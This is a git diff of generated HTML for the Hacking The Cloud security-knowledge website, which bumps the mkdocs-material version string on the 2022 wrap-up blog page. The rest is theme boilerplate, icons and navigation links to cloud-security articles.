111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/blog/2022_wrap-up/index.html b/blog/2022_wrap-up/index.html
index ed715df40..43946d9cb 100644
--- a/blog/2022_wrap-up/index.html
+++ b/blog/2022_wrap-up/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An end of year summary for Hacking the Cloud in 2022."><link href=https://hackingthe.cloud/blog/2022_wrap-up/ rel=canonical><link href=../../azure/soft-deleted-blobs/ rel=prev><link href=../2023_wrap-up/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>2022 Wrap-up - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="2022 Wrap-up - Hacking The Cloud"><meta property=og:description content="An end of year summary for Hacking the Cloud in 2022."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/2022_wrap-up/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="2022 Wrap-up - Hacking The Cloud"><meta property=twitter:description content="An end of year summary for Hacking the Cloud in 2022."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An end of year summary for Hacking the Cloud in 2022."><link href=https://hackingthe.cloud/blog/2022_wrap-up/ rel=canonical><link href=../../azure/soft-deleted-blobs/ rel=prev><link href=../2023_wrap-up/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>2022 Wrap-up - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="2022 Wrap-up - Hacking The Cloud"><meta property=og:description content="An end of year summary for Hacking the Cloud in 2022."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/2022_wrap-up/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="2022 Wrap-up - Hacking The Cloud"><meta property=twitter:description content="An end of year summary for Hacking the Cloud in 2022."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/2022_wrap-up.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#numbers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> 2022 Wrap-up </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span 